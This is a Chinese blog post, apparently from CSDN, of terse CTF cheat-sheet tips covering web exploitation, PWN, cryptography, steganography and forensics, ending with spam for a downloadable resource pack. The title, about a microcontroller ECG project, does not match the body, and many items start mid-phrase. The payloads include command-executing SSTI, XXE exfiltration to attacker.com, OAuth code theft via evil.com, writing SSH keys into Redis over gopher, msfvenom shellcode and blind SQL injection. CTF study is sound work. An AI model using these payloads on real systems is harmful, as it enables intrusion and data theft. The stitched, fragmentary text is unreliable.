基于51单片机的心电+脉搏双通道实时采集与仿真方案
2026/6/5 20:27:11
这部分是核心!涵盖 Web 安全、逆向工程与 PWN、密码学与隐写术、MISC 与编程,每个思路都附具体操作技巧,直接能用~
Web 是 CTF 最常考的模块,以下 15 个思路覆盖 80% 高频漏洞,建议逐个吃透:
/*!50000注释*/混淆语句(比如SELECT /*!50000FROM*/ users);CONCAT(CHAR(115),CHAR(101))代替明文字符串(CHAR(115)是s,CHAR(101)是e,合起来是se)。{{''.__class__.__mro__[1].__subclasses__()}}调用危险类;{{_self.env.registerUndefinedFilterCallback("exec")}}执行系统命令。php://input读取 POST 原始数据,直接写入 Webshell;logrotate日志(如/proc/self/environ)泄露服务器路径,再包含日志 getshell。alg为none(需删除签名字段,仅适用于未校验算法的场景);hashcat -m 16500爆破 JWT 密钥(-m 16500是 JWT 的哈希类型)。<!ENTITY xxe SYSTEM "file:///etc/passwd">读取系统敏感文件;http://attacker.com/?data=%xxe;将数据发送到自己的服务器,避免无回显场景。<img src="[目标URL]">触发 GET 请求(img 标签加载时会自动发起请求,无需用户点击)。gopher://协议攻击内网 Redis 未授权访问:构造 gopher 数据流,往 Redis 写入 SSH 公钥,后续通过 SSH 登录服务器。__destruct()(对象销毁时触发)或__wakeup()(反序列化时触发)魔术方法构造攻击链;InvokerTransformer类执行命令(经典反序列化链)。flask-unsign生成恶意 Cookie(命令:flask-unsign --sign --cookie "{'username':'admin'}" --secret "your_key")。Origin: target.com(目标网站域名),欺骗服务器返回 “允许跨域”,从而窃取敏感数据(如用户信息)。Transfer-Encoding: chunked与Content-Length头冲突:给前端服务器发Transfer-Encoding头,给后端发Content-Length头,绕过网关限制。....//(多段…/ 拼接)或 URL 编码%2e%2e%2f(%2e是.,%2f是/)代替../。X-Forwarded-Host头:注入恶意脚本(如<script>alert(1)</script>),当服务器缓存页面后,其他用户访问时会触发脚本。redirect_uri=http://evil.com(自己的恶意域名),窃取用户授权码,进而登录用户账号。<link rel="prefetch" href="secret.php">预加载敏感页面:浏览器会自动请求secret.php,若页面依赖登录态,可通过流量捕获登录信息。逆向和 PWN 对编程基础要求高,但掌握以下技巧,能快速突破关键逻辑:
"flag"、"correct"、"wrong"等字符串,定位判断 Flag 正确性的关键函数。cyclic 200生成 cyclic 字符串(如aaaabaaacaaadaaa...),发送后通过dmesg查看崩溃地址,反推缓冲区偏移。%n写入数据:%n会将已输出的字符数写入指定地址,可修改 GOT 表(全局偏移表),将函数地址替换为 system 地址。ROPgadget --binary ./pwn提取可执行文件中的 “gadgets”(如pop ret、mov eax, 0x0),拼接成 ROP 链,执行系统命令。/proc/self/status:将TracerPid字段改为 0(表示无调试器跟踪),欺骗程序的反调试检查。LD_PRELOAD劫持函数:编写自定义的strcmp()函数(比如直接返回 0,即 “比较相等”),通过LD_PRELOAD=./my_strcmp.so ./pwn加载,绕过密码校验。msfvenom -b '\x00' -p linux/x86/exec CMD=/bin/sh -f elf(-b '\x00'表示排除空字符,避免被过滤)。size = -1(当size是无符号整数时,-1会变成最大值),绕过if (size <= 100)的长度检查。flag的路径(无需手动分析分支)。jz(等于则跳转)改为jnz(不等于则跳转),跳过错误判断,直接输出 Flag。密码学和隐写术常考 “识别算法 + 工具破解”,记住这些套路能省很多时间:
=(1-2 个),字符含大小写字母、数字、+、/;e=3且明文较短时,直接对密文c开立方(m = c^(1/3)),无需私钥即可解出明文m。n,不同指数e1/e2)加密,得到c1、c2,通过扩展欧几里得算法求e1和e2的逆元,恢复明文。hash(secret + data),可在data后追加任意内容,伪造新的哈希值(工具:hash_extender)。Stegsolve.jar分析图片:打开图片后切换到 “RGB Bits” 视图,查看红、绿、蓝通道的最低位(LSB),提取隐藏的二进制数据。zipdetails分析 ZIP 文件头:伪加密的 ZIP 会在 “全局方式位标记” 字段设置错误的加密标记,修改该字段为 0(无加密)即可解压。pdftotext -layout 隐写.pdf 输出.txt,查看是否有隐藏在空白处的文本;pdf-parser.py解析 PDF,查看/FlateDecode压缩的对象流,解压后可能有 Flag。dir /R查看 ADS(Alternate Data Stream):NTFS 支持文件附加数据流,隐藏的数据会显示为文件名:隐藏流名:$DATA,用more < 文件名:隐藏流名读取。89 50 4E 47 0D 0A 1A 0A,若文件头被篡改,替换为正确头后,再修复 CRC 校验(用工具pngcheck检测错误位置)。zbarimg扫描模糊二维码:即使二维码残缺或模糊,zbarimg -q 二维码.png也可能识别出数据(-q表示安静模式,只输出结果)。MISC 涵盖范围广,核心是 “细心 + 工具熟练度”,这 10 个思路能应对大部分题目:
import binascii, base64, urllib.parse; print(urllib.parse.unquote(base64.b64decode(binascii.unhexlify("666C6167")))))。http.request.method == "POST"筛选 POST 请求,查看表单数据;或tcp contains "flag"搜索含 Flag 的流量包。volatility -f dump.raw pslist(dump.raw是内存镜像文件),定位可疑进程(如cmd.exe、nc.exe),再提取进程内存找 Flag。whois target.com获取域名注册人邮箱、电话、注册时间,可能作为解题线索(比如邮箱后缀作为密码)。grep -oE 'flag{[a-zA-Z0-9_]+}' 目标文件(-o只输出匹配部分,-E启用正则,匹配flag{}格式的内容)。requests库发送请求,通过 “响应时间” 判断字符是否正确(比如输入' AND IF(substr(flag,1,1)='a', sleep(5), 0) --+,若延迟 5 秒则表示首字符是a)。/.git/HEAD确认存在 Git 泄露,再用git-dumper http://target.com/.git/ 本地目录下载.git 文件夹,执行git checkout .恢复源码。abcd1234.evil.com,abcd1234是 Base64 编码的内容),用 Wireshark 过滤dns.qry.name contains "evil.com"查看。.xlsm改为.zip并解压,查看xl/vbaProject.bin文件,用oledump.py提取其中的 VBA 宏代码(可能藏有 Flag 或解密逻辑)。qpdf --stream-data=uncompress 混淆.pdf 解压后.pdf,将压缩的对象流解压,再搜索flag或查看异常文本。网络安全不是「速成黑客」,而是守护数字世界的骑士修行。当你第一次用自己写的脚本检测出漏洞时,那种创造的快乐远胜于电影里的炫技。装上虚拟机,从配置第一个Linux环境开始,脚踏实地从基础命令学起,相信你一定能成为一名合格的黑客。
如果你还不知道从何开始,我自己整理的282G的网络安全教程可以分享,我也是一路自学走过来的,很清楚小白前期学习的痛楚,你要是没有方向还没有好的资源,根本学不到东西!
下面是我整理的网安资源,希望能帮到你。
😝需要的话,可以V扫描下方二维码联系领取~
如果二维码失效,可以点击下方👇链接去拿,一样的哦
【CSDN大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!!
主要攻防会涉及到的工具安装包和项目源码(防止你看到这连基础的工具都还没有)
网络安全岗位面试经验总结(谁学技术不是为了赚$呢,找个好的岗位很重要)
😝需要的话,可以V扫描下方二维码联系领取~
因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆
如果二维码失效,可以点击下方👇链接去拿,一样的哦
【CSDN大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!!